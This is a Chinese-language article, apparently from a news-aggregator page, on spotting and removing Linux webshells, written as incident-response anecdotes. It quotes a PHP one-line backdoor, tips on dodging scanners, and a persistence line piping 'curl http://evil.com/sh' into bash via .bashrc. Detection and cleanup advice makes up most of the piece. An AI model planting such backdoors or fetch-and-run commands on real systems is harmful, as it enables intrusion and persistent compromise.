当前位置:首页 > 热点 > linux webshell 正文

linux webshell

时间:2026-10-17 05:05:53 来源:力不从心网

Linux Webshell:藏在进程列表里的幽灵

半夜两点,服务器CPU飙到99%。你登上机器,top一看,一个叫php-fpm的进程占满了核。但诡异的是,ps aux里它的父进程是1号——init。正常php-fpm不该这样。你顺手ls -la /proc/那串数字/cwd,发现工作目录指向/tmp。心里一凉:多半是webshell。

Linux下的webshell,不像Windows那样喜欢往System32塞个cmd.exe。它更隐蔽,更懂Unix哲学——一切皆文件,一切皆可伪装。最常见的套路,是把PHP后门塞进wp-includes里,文件名起成class-wp-hook.php.bak。你以为是个备份,其实是一句话木马:@eval($_POST['x']);。这种代码,静态扫描工具能查出来,但如果你把eval换成assert,再配合base64_decode,正则引擎基本就瞎了。

我见过最野的一次,是黑客把webshell直接写进Nginx的access.log里。日志文件本身是纯文本,但人家用User-Agent字段塞了一段PHP代码,再配合Apache的.htaccess把日志文件当PHP解析。你查日志,全是一堆爬虫UA,根本没人会注意一行Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)后面跟着的。这种藏法,文件系统扫描根本发现不了,因为日志文件每分钟都在涨,谁会去审计那几百MB的文本?

更高级的玩法是内存马。Linux下直接用ptrace注入一个运行中的进程,或者干脆写个LD_PRELOAD的so文件,hook掉write函数,让后门代码只在特定请求触发时执行。这种webshell连文件都不落盘,你重启服务它就消失,但只要你业务不停,它就在内存里活着。查这种马,你得看/proc/modules,或者用gdb去attach进程找异常符号。说实话,大多数运维没有这个耐心。

有一回我帮朋友处理一台被黑的机器。黑客留了个很粗糙的后门——/usr/lib/systemd/system/systemd-httpd,一个二进制文件,用UPX壳压缩过。我file一看,显示“ELF 64-bit executable, stripped”。但strace跟踪它,发现它每隔10秒就尝试连接一个位于俄罗斯的IP的53端口——DNS隧道。这种后门不依赖任何Web容器,纯粹靠cron定时任务启动。我删了文件,清了cron,但第二天它又回来了。最后发现黑客在/root/.bashrc里塞了一行echo "curl http://evil.com/sh | bash" | at now + 1 minute。你杀进程没用,得把源头堵死。

说实话,Linux webshell的检测,本质是跟黑客比耐心。你不可能靠一个扫描器就高枕无忧。我自己的习惯是:每天凌晨3点用find / -newer /tmp/flag -mtime -1 -type f -name "*.php"扫一遍最近24小时改动的PHP文件,然后手动看diff。再配合auditd监控/tmp、/dev/shm的写执行权限。但最有效的还是——少装不必要的组件,关掉PHP的eval函数(用disable_functions),别把服务器当实验田。你给黑客留一个入口,他就能还你一个狂欢派对。

最后说个实操技巧:如果你怀疑某个进程是webshell,别急着kill。先ls -l /proc/PID/exe,看它真实路径。再grep -a "eval\|base64_decode\|system" /proc/PID/fd/1,看它的输出流里有没有可疑字符串。真有马,就kill -9,然后马上改所有密码,查.bash_history和last日志。记住,webshell不是终点,是黑客留的后门。你堵住后门,还得追查他是怎么进来的——否则,明天换个姿势,照样捅你。

推荐内容